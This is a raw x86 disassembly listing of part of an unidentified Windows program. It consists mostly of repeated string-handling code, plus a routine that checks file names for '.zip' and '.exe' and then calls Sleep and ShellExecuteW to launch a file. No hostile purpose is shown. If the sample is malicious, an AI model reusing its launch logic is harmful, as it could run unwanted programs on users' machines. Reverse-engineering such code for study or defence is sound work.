add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4107b5
cmp eax, dword [edi]
jne 0x4107b5
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4107f0
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
mov byte [esp + 0xe4], 0x31
mov edi, dword [0x47e1a4]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x410831
cmp eax, dword [edi]
jne 0x410831
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41086c
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
lea esi, [esp + 0x50]
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov esi, dword [esp + 0x28]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x1c], esp
mov ebp, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x4108b5
cmp eax, dword [esi]
jne 0x4108b5
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4108f0
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4117e3
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add edi, 0x10
mov dword [ebp], edi
mov byte [esp + 0xe0], 0x32
mov edi, dword [esp + 0x74]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x410930
cmp eax, dword [edi]
jne 0x410930
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x41096b
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
mov byte [esp + 0xe4], 0x33
mov edi, dword [0x47e1a4]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x4109ac
cmp eax, dword [edi]
jne 0x4109ac
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x4109e7
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
lea esi, [esp + 0x4c]
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov esi, dword [esp + 0x28]
mov ecx, dword [esi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add esi, 0xfffffff0
add esp, 8
mov dword [esp + 0x1c], esp
mov ebp, esp
call eax
cmp dword [esi + 0xc], 0
lea edx, [esi + 0xc]
jl 0x410a30
cmp eax, dword [esi]
jne 0x410a30
mov edi, esi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410a6b
mov ecx, dword [esi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov edi, eax
test edi, edi
je 0x4117e3
mov eax, dword [esi + 4]
mov dword [edi + 4], eax
mov eax, dword [esi + 4]
lea ecx, [eax + eax + 2]
push ecx
add esi, 0x10
lea edx, [eax + eax + 2]
push esi
push edx
lea eax, [edi + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add edi, 0x10
mov dword [ebp], edi
mov byte [esp + 0xe0], 0x34
mov edi, dword [esp + 0x58]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x410aab
cmp eax, dword [edi]
jne 0x410aab
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410ae6
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
mov byte [esp + 0xe4], 0x35
mov edi, dword [0x47e1a4]
push ecx
mov ecx, dword [edi - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x2c], esp
mov esi, esp
call eax
cmp dword [edi + 0xc], 0
lea edx, [edi + 0xc]
jl 0x410b27
cmp eax, dword [edi]
jne 0x410b27
mov ebp, edi
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410b62
mov ecx, dword [edi + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov ebp, eax
test ebp, ebp
je 0x4117e3
mov eax, dword [edi + 4]
mov dword [ebp + 4], eax
mov eax, dword [edi + 4]
lea ecx, [eax + eax + 2]
push ecx
add edi, 0x10
lea edx, [eax + eax + 2]
push edi
push edx
lea eax, [ebp + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add ebp, 0x10
mov dword [esi], ebp
lea esi, [esp + 0xa8]
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov ebp, dword [esp + 0x28]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx]
mov eax, dword [edx + 0x10]
add ebp, 0xfffffff0
add esp, 8
mov dword [esp + 0x1c], esp
mov edi, esp
call eax
cmp dword [ebp + 0xc], 0
lea edx, [ebp + 0xc]
jl 0x410baf
cmp eax, dword [ebp]
jne 0x410baf
mov esi, ebp
mov ecx, 1
lock xadd dword [edx], ecx
jmp 0x410bea
mov ecx, dword [ebp + 4]
mov edx, dword [eax]
mov edx, dword [edx]
push 2
push ecx
mov ecx, eax
call edx
mov esi, eax
test esi, esi
je 0x4117e3
mov eax, dword [ebp + 4]
mov dword [esi + 4], eax
mov eax, dword [ebp + 4]
lea ecx, [eax + eax + 2]
push ecx
add ebp, 0x10
lea edx, [eax + eax + 2]
push ebp
push edx
lea eax, [esi + 0x10]
push eax
call fcn.004464a1
add esp, 0x10
add esi, 0x10
mov dword [edi], esi
mov byte [esp + 0xe0], 0x36
mov eax, dword [esp + 0x6c]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x90]
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe8], 0x37
mov eax, dword [0x47e1a4]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov eax, dword [esp + 0x28]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe4], 0x38
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x44]
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe8], 0x39
mov eax, dword [0x47e1a4]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov eax, dword [esp + 0x28]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe4], 0x3a
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0xb0]
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe8], 0x3b
mov eax, dword [0x47e1a4]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov eax, dword [esp + 0x28]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe4], 0x3c
mov eax, dword [esp + 0xb8]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x88]
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe8], 0x3d
mov eax, dword [0x47e1a4]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov eax, dword [esp + 0x28]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe4], 0x3e
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x80]
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe8], 0x3f
mov eax, dword [0x47e1a4]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe8], bl
call fcn.00407fb0
add esp, 8
mov dword [esp + 0x1c], esp
mov esi, esp
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe4], 0x40
mov eax, dword [esp + 0x98]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0x94]
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe8], 0x41
mov eax, dword [0x47e1a4]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov eax, dword [esp + 0x28]
add esp, 8
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe4], 0x42
mov ebp, dword [esp + 0xbc]
lea eax, [ebp - 0x10]
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
lea esi, [esp + 0xb8]
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
mov byte [esp + 0xe8], 0x43
mov eax, dword [0x47e1a4]
add eax, 0xfffffff0
mov dword [esp + 0x2c], esp
mov edi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [edi], eax
add esp, 4
mov byte [esp + 0xe8], bl
call fcn.00407fb0
mov edi, dword [esp + 0x94]
add esp, 8
lea eax, [edi - 0x10]
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.00411ee0
test eax, eax
jne 0x4111d9
mov eax, dword [esp + 0xac]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x1c], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
add esp, 4
mov dword [esi], eax
call fcn.00411f70
test eax, eax
jne 0x4111d9
mov ecx, dword [esp + 0x40]
cmp dword [ecx - 0xc], eax
je 0x4111d9
push 4
lea edx, [esp + 0x40]
push edx
lea ecx, [esp + 0x30]
call fcn.0040ae50
mov byte [esp + 0xdc], 0x44
mov esi, dword [esp + 0x3c]
cmp dword [esi - 0xc], 0
jl 0x410fc5
push str..zip
push esi
call fcn.00446cba
add esp, 8
test eax, eax
je 0x410fa4
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x411041
cmp dword [esi - 0xc], 0
jl 0x410fc5
push str..exe
push esi
call fcn.00446cba
add esp, 8
test eax, eax
je 0x410fc5
sub eax, esi
sar eax, 1
cmp eax, 0xffffffff
jne 0x411041
mov eax, dword [esp + 0x38]
push eax
call fcn.00446e1c
add esp, 4
push eax
mov eax, dword [esp + 0x38]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xe8], 0x4c
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
mov dword [esp + 0x30], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xec], 0x4d
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
mov dword [esp + 0x30], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0xec], 0x44
call fcn.004117f0
jmp 0x4111b2
mov ecx, dword [esp + 0x7c]
push ecx
call fcn.00446e1c
add esp, 4
push eax
mov eax, dword [esp + 0x48]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x20], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
add esp, 4
mov dword [esi], eax
mov byte [esp + 0xe4], 0x45
mov edx, dword [esp + 0xa4]
push edx
call fcn.00446e1c
add esp, 4
push eax
mov eax, dword [esp + 0x6c]
push eax
call fcn.00446e1c
mov ecx, dword [esp + 0x84]
add esp, 4
push eax
push ecx
call fcn.00446e1c
mov edx, dword [esp + 0xb8]
add esp, 4
push eax
push edx
call fcn.00446e1c
add esp, 4
push eax
mov eax, dword [esp + 0x50]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x40], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0xfc], 0x46
mov eax, dword [esp + 0xa4]
add eax, 0xfffffff0
mov dword [esp + 0x40], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x100], 0x47
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
mov dword [esp + 0xf0], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x104], 0x48
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
mov dword [esp + 0xe8], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x108], 0x49
mov eax, dword [esp + 0x60]
mov dword [esp + 0xf0], esp
mov esi, esp
add eax, 0xfffffff0
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x10c], 0x4a
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
mov dword [esp + 0xf8], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
mov byte [esp + 0x110], 0x4b
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
mov dword [esp + 0x104], esp
mov esi, esp
push eax
call fcn.00401f50
add eax, 0x10
mov dword [esi], eax
add esp, 4
mov byte [esp + 0x110], 0x44
call fcn.004084d0
add esp, 0x34
mov byte [esp + 0xdc], bl
mov eax, dword [esp + 0x3c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4111d9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x94]
inc eax
cmp eax, dword [esp + 0x98]
mov dword [esp + 0x94], eax
jle 0x40fe60
mov eax, dword [esp + 0x2c]
test eax, eax
je 0x41125a
push eax
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [esp + 0xbc]
push 0x468d20
push ecx
lea edx, [esp + 0x34]
push edx
call fcn.0040af90
mov eax, dword [eax]
add esp, 0xc
push 5
push eax
mov eax, dword [esp + 0xc0]
push 0
push eax
push 0x4690dc
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41125a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add ebp, 0xfffffff0
mov byte [esp + 0xdc], 0x24
lea ecx, [ebp + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41127f
mov ecx, dword [ebp]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push ebp
call edx
mov byte [esp + 0xdc], 0x23
mov eax, dword [esp + 0x90]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4112aa
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x22
mov eax, dword [esp + 0xa0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4112d5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x21
mov eax, dword [esp + 0xa8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411300
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x20
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41132b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x1f
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411353
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x1e
mov eax, dword [esp + 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41137b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x1d
mov eax, dword [esp + 0x68]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4113a3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x1c
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4113cb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x1b
mov eax, dword [esp + 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4113f3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x1a
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41141b
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x19
mov eax, dword [esp + 0x78]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411443
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x18
mov eax, dword [esp + 0x80]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x41146e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x17
mov eax, dword [esp + 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411499
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x16
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4114c1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x15
mov eax, dword [esp + 0xac]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4114ec
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov byte [esp + 0xdc], 0x14
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411510
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x13
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411538
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x12
mov eax, dword [esp + 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411560
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x11
mov eax, dword [esp + 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411588
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0x10
mov eax, dword [esp + 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4115b3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0xf
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4115db
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0xe
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411606
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0xd
mov eax, dword [esp + 0x9c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411631
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0xc
mov eax, dword [esp + 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411659
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0xb
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411681
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0xa
mov eax, dword [esp + 0x48]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4116a9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 9
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4116d1
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 8
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4116f9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 3
mov eax, dword [esp + 0x28]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411721
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 2
mov eax, dword [esp + 0x50]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411749
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 1
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411771
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0xdc], 0
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x411799
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0xdc], 0xffffffff
mov eax, dword [esp + 0xb8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4117c7
